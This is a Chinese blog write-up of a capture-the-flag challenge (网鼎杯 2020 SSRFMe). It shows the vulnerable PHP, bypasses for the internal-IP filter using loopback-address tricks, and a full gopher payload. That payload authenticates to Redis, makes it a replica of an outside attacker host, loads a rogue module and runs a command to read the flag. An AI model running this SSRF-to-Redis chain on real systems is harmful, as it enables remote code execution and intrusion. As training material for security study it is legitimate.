网鼎杯 2020 玄武组SSRFMe

作者 by Yichen / 2024-03-27 / 暂无评论 / 65 个足迹

题目如下
<?php
function check_inner_ip($url)<br />{<br />$match_result=preg_match('/^(http|https|gopher|dict)?://.(/)?.$/',$url);
if (!$match_result)<br />{<br />die('url fomat error');<br />}<br />try<br />{<br />$url_parse=parse_url($url);<br />}<br />catch(Exception $e)
{
die('url fomat error');
return false;
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{

if (check_inner_ip($url))<br />{<br />echo $url.' is inner ip';
}
else
{
$ch = curl_init();<br />curl_setopt($ch, CURLOPT_URL, $url);<br />curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);<br />$output = curl_exec($ch);<br />$result_info = curl_getinfo($ch);<br />if ($result_info['redirect_url'])
{
safe_request_url($result_info['redirect_url']);<br />}<br />curl_close($ch);
var_dump($output);
}

}
if(isset($_GET['url'])){<br />$url = $_GET['url'];<br />if(!empty($url)){
safe_request_url($url);
}
}
else{
highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>

首先看代码主体
if(isset($_GET['url'])){<br />$url = $_GET['url'];<br />if(!empty($url)){
safe_request_url($url);<br />}<br />}<br />else{<br />highlight_file(__FILE__);<br />}<br />这里首先判断url是否为空,不空送入safe_request_url($url)函数进行检查
这里对传入的url会执行check_inner_ip进行限制,该函数有如下几个限制
1.限制只能使用http|https|gopher|dict这四个协议
2.将通过parse_url获取的地址执行gethostbyname()函数,搜了一下这个函数解析不了127.0.0.1,也防御了xip.io这类利用dns解析的绕过方法
3.使用ip2long将ip地址转为整数,判断是否为内网网段,防御了127.0.0.1/8
绕过可以用的有
http://0.0.0.0/hint.php
http://[0:0:0:0:0:ffff:127.0.0.1]/hint.php
(第一个里的0.0.0.0是指本机的所有ipv4地址所以访问到hint.php,第二个我不太懂,参考https://www.freebuf.com/vuls/321535.html)
附本地回环地址的其他表现形式:
127.0.0.1,通常被称为本地回环地址(Loopback Address),指本机的虚拟接口,一些表示方法如下(ipv6的地址使用http访问需要加[]):
http://127.0.0.1
http://localhost
http://127.255.255.254
127.0.0.1 - 127.255.255.254
http://[::1]
http://[::ffff:7f00:1]
http://[::ffff:127.0.0.1]
http://127.1
http://127.0.1
http://0:80

这样访问到了hint.php
屏幕截图 2024-03-20 162529.png
这里给了redis的密码
这里来到主从复制(参考https://www.cnblogs.com/karsa/p/14123957.html
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中,但是如果硬盘的数据被删除的话数据就无法恢复了,如果通过主从复制就能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。

这里因为buu环境问题,申请一个buu的内网主机来做攻击机,把下好的脚本传进去(https://github.com/xmsec/redis-ssrf
https://github.com/n0b0dyCN/redis-rogue-server
屏幕截图 2024-03-27 100350.png
用scp协议传
scp -r -P 26328 redis-ssrf-master_py2 root@node5.buuoj.cn:/root

修改一下脚本
屏幕截图 2024-03-26 091710.png
改成自己攻击机ip,端口和命令
屏幕截图 2024-03-26 091731.png
ip这里写访问ip,这道题写0.0.0.0
屏幕截图 2024-03-26 091742.png
这里有密码写密码,本题为root
(注意这个脚本要用python2来运行)

改好后先使用redis-ssrf.py来生成payload,这个payload一会要从网页传过去,所以还要对他再进行一次url加密屏幕截图 2024-03-27 142122.png
gopher://0.0.0.0:6379/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%244%0D%0Aroot%0D%0A%2A3%0D%0A%247%0D%0ASLAVEOF%0D%0A%2413%0D%0A8.130.116.181%0D%0A%244%0D%0A6666%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%245%0D%0A/tmp/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%246%0D%0Aexp.so%0D%0A%2A3%0D%0A%246%0D%0AMODULE%0D%0A%244%0D%0ALOAD%0D%0A%2411%0D%0A/tmp/exp.so%0D%0A%2A2%0D%0A%2411%0D%0Asystem.exec%0D%0A%2414%0D%0Acat%24%7BIFS%7D/flag%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A

gopher://0.0.0.0:6379/_2
$4<br />AUTH<br />$4
root
3
$7<br />SLAVEOF<br />$13
8.130.116.181
$4<br />6666<br />*4<br />$6
CONFIG
$3<br />SET<br />$3
dir
$5<br />/tmp/<br />*4<br />$6
config
$3<br />set<br />$10
dbfilename
$6<br />exp.so<br />*3<br />$6
MODULE
$4<br />LOAD<br />$11
/tmp/exp.so
*2
$11<br />system.exec<br />$14
cat${IFS}/flag<br />*1<br />$4
quit

然后开启rogue-server.py运行一个redis的恶意节点,这时传入payload,也就是上面二次加密后的东西,会让我们的redis作为主服务器把exp.so传到从服务器上去从而rce屏幕截图 2024-03-27 142115.png这里就是成功传过去了,成功获取结果

屏幕截图 2024-03-27 142926.png

独特见解